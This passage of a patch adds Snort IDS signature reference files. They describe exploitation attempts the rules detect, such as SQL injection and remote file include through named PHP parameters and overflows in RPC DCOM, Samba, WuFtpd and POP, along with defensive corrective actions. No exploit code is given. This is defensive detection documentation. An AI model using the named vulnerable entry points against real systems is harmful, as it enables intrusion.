+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Blog CMS" application running on a webserver. Access to the file "index.php" with SQL commands being passed as the "archives" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "archives" parameter in the "index.php" script used by the "Blog CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Blog CMS
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3358.txt
+++ snort-2.8.5.2/doc/signatures/3358.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3358
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/453.txt
+++ snort-2.8.5.2/doc/signatures/453.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+453
+
+--
+Summary:
+This event is generated when an ICMP Timestamp request is made.
+
+--
+Impact:
+Information gathering.  An ICMP Timestamp request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP Timestamp request is used by the ping command to elicit an ICMP Timestamp reply from a listening live host.  This rule alerts on a generic ICMP request where no payload is included in the message or the payload does not match more specific rules. 
+
+If ICMP type 8 (echo) traffic is filtered at a firewall, and attacker may try to use type 13 (timestamp) as an alternative.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP Timestamp request may be used to legitimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP Timestamp requests.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Additional information by Steven Alexander<alexander.s@mccd.edu>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000707.txt
+++ snort-2.8.5.2/doc/signatures/100000707.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000707
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "SmartSiteCMS" application running on a webserver. Access to the file "inc_adminfoot.php" using a remote file being passed as the "root" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "root" parameter in the "inc_adminfoot.php" script used by the "SmartSiteCMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SmartSiteCMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3035.txt
+++ snort-2.8.5.2/doc/signatures/3035.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3035
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000415.txt
+++ snort-2.8.5.2/doc/signatures/100000415.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000415
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Bytehoard" application running on a webserver. Access to the file "server.php" using a remote file being passed as the "bhconfig[bhfilepath]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "bhconfig[bhfilepath]" parameter in the "server.php" script used by the "Bytehoard" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Bytehoard
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000833.txt
+++ snort-2.8.5.2/doc/signatures/100000833.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000833
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "HiveMail" application running on a webserver. Access to the file "search.results.php" with SQL commands being passed as the "fields[]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "fields[]" parameter in the "search.results.php" script used by the "HiveMail" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using HiveMail
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1938.txt
+++ snort-2.8.5.2/doc/signatures/1938.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+1938
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow condition in the Post Office Protocol (POP) command XTND.
+
+--
+Impact:
+Possible remote execution of arbitrary code leading to a remote root 
+compromise.
+
+--
+Detailed Information:
+A vulnerability exists such that an attacker may overflow a buffer by 
+sending a large number of non-line feed characters before a line feed
+to a POP server via the XTND command.
+
+--
+Attack Scenarios:
+Simple. An attacker can supply many consecutive non-newline characters to
+the XTND function on a POP server to cause the overflow condition. 
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+RFC 1082:
+http://www.faqs.org/rfcs/rfc1082.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000400.txt
+++ snort-2.8.5.2/doc/signatures/100000400.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000400
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "fileman.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "fileman.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1474.txt
+++ snort-2.8.5.2/doc/signatures/1474.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1474
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2392.txt
+++ snort-2.8.5.2/doc/signatures/2392.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2392
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow vulnerability associated with WuFtpd RETR command.
+
+--
+Impact:
+Remote access.  A successful attack may permit the remote execution of 
+arbitrary commands with system privileges.
+
+--
+Detailed Information:
+WuFtpd is an FTP server based on BSD ftpd. A vulnerability exists 
+with the RETR command that can cause a buffer overflow and permit the 
+execution of arbitrary commands with system privileges. The buffer 
+overflow can be caused by supplying an overly long argument to the RETR 
+command.
+
+The issue exists in the realpath() function. It is possible for an
+attacker to send malformed data to the realpath() function that will
+cause the overflow condition to occur.
+
+--
+Affected Systems:
+	Multiple systems using affected C libraries, libc
+
+--
+Attack Scenarios:
+An attacker can use one of the publicly available exploit scripts to
+cause the overflow to occur.
+
+--
+Ease of Attack:
+Simple.  Many exploits exist.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Use scp as an alternative to ftp
+
+Disallow ftp access to internal resources from external sources
+
+Recompile binaries statically linked to the system libc implementation
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2218.txt
+++ snort-2.8.5.2/doc/signatures/2218.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2218
+
+--
+Summary:
+This event is generated when an attempt is made to access service.cgi on an internal web server. This may indicate an attempt to exploit a cross-site scripting vulnerability in Sun Microsystems' Cobalt RaQ server appliance.
+
+--
+Impact:
+System integrity, possible denial of service.
+
+--
+Detailed Information:
+The alert.cgi file on Sun Microsystems' Cobalt RaQ web server appliance does not properly parse HTML tags submitted in URLs. This can allow an attacker to use a specially crafted URL to execute JavaScript to place scripts or content on the web server. In addition, an overly long URL could be used to crash the server.
+
+--
+Affected Systems:
+Any Cobalt RaQ 2.0, 3.0, or 4.0 server appliance.
+
+--
+Attack Scenarios:
+An attacker crafts a URL with JavaScript and passes the content to service.cgi on a vulnerable RaQ server. The server then executes the JavaScript included in the URL, placing malicious content on the web server. An attacker could also send an overly long URL to service.cgi, which will crash the server.
+
+--
+Ease of Attack:
+Simple. Proof of concepts exist.
+
+--
+False Positives:
+If a legitimate remote user accesses alert.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Workarounds have been provided on the BugTraq mailing list. See http://marc.theaimsgroup.com/?l=bugtraq&m=101500887122597&w=2 for more information.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/4211
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3048.txt
+++ snort-2.8.5.2/doc/signatures/3048.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3048
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000711.txt
+++ snort-2.8.5.2/doc/signatures/100000711.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000711
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "raids.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "raids.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000660.txt
+++ snort-2.8.5.2/doc/signatures/100000660.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000660
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "text" parameter in the "guestbook.php" script 
+used by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2443.txt
+++ snort-2.8.5.2/doc/signatures/2443.txt
@@ -0,0 +1,82 @@
+Rule:  
+
+--
+Sid:
+2443
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in multiple versions of Internet Security Systems software.
+
+--
+Impact:
+Serious. Execution of arbitrary code is possible leading to unauthorized 
+access to the affected host. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the way that multiple ISS products parse ICQ
+messages. This can lead to execution of arbitrary code on hosts using
+the affected products.
+
+Due to insufficient bounds checking when ISS products parse protocol
+fields in ICQ SRV_META_USER data, a buffer overflow condition can be
+exploited to give an attacker the opportunity to execute arbitrary code
+and gain unauthorized administrative access to the host.
+
+It is possible that this condition can be exploited without the need for
+an established and valid ICQ session. The attacker could create packets
+originating from a host on port 4000 and send specially crafted data to 
+exploit the condition.
+
+--
+Affected Systems:
+	RealSecure Network 7.0, XPU 22.11 and prior
+	RealSecure Server Sensor 7.0 XPU 22.11 and prior
+	RealSecure Server Sensor 6.5 for Windows SR 3.10 and prior
+	Proventia A Series XPU 22.11 and prior
+	Proventia G Series XPU 22.11 and prior
+	Proventia M Series XPU 1.9 and prior
+	RealSecure Desktop 7.0 ebl and prior
+	RealSecure Desktop 3.6 ecf and prior
+	RealSecure Guard 3.6 ecf and prior
+	RealSecure Sentry 3.6 ecf and prior
+	BlackICE Agent for Server 3.6 ecf and prior
+	BlackICE PC Protection 3.6 ccf and prior
+	BlackICE Server Protection 3.6 ccf and prior
+
+--
+Attack Scenarios:
+An attacker may send specially crafted packets to a vulnerable system to
+cause the overflow condition to occur.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/389.txt
+++ snort-2.8.5.2/doc/signatures/389.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+
+Sid:
+389
+
+--
+
+Summary:
+This event is generated when an ICMP Address Mask Request message is found on the network with an invalid ICMP Code.  ICMP Address Mask Requests are used for automatically determining the 32-bit subnet mask for the network.  RFC 950 definesthe Code for ICMP Type 17 datagram to be 0, if this field is not 0 it could be an indication of an attack attempt.
+
+--
+
+Impact:
+Attacks may use an ICMP address Mask Request to determine the subnet mask of the network.  This information can be used to help develope a network diagram in lue of more focused attacks.
+--
+
+Detailed Information:
+ICMP Address Mask Requests are defined in RFC 950 as the third method hosts may support for determing the address mask correspoding to its IP address.  In most implementations this method is not supported, and should not be normal traffic on most networks.  
+
+--
+
+Attack Scenarios:
+Attackers may use this ICMP Type to gather information about the subnet masks of a given network subnet.
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate ICMP Address Mask Requests.
+--
+
+False Positives:
+None known.  ICMP Type 17 datagrams should never be generated with a code other than 0.
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+ICMP Type 17 should be blocked at the upstream firewall.  This type of ICMP request should never originate from a host outside of the protected network.
+--
+
+Contributors:
+Original Rule wirter unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2984.txt
+++ snort-2.8.5.2/doc/signatures/2984.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+2176
+
+--
+Summary:
+This event is generated when an attempt is made to access a system
+file via SMB. 
+
+--
+Impact:
+Serious. This file contains important operating system information.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to access a file
+containing important operating system information using SMB across the
+network.
+
+--
+Affected Systems:
+Microsoft Windows systems.
+
+--
+Attack Scenarios:
+If this file is accessible via SMB the attacker can manipulate the
+operating system registry settings.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+Microsoft Technet
+http://support.microsoft.com/support/kb/articles/q153/1/83.asp
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0562
+Winreg
+http://www.rutherfurd.net/python/winreg/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000670.txt
+++ snort-2.8.5.2/doc/signatures/100000670.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000670
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "web_statsConfig.php" using a remote file being passed as 
+the "mod_dir" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "mod_dir" parameter in the "web_statsConfig.php" script 
+used by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/358.txt
+++ snort-2.8.5.2/doc/signatures/358.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+358
+
+--
+
+Summary:
+This event is generated when an attempt is made to login anonymously 
+into an ftp server using a suspicious password (-saint)
+
+--
+
+Impact:
+Possible unauthorized access. Information gathering.
+
+--
+
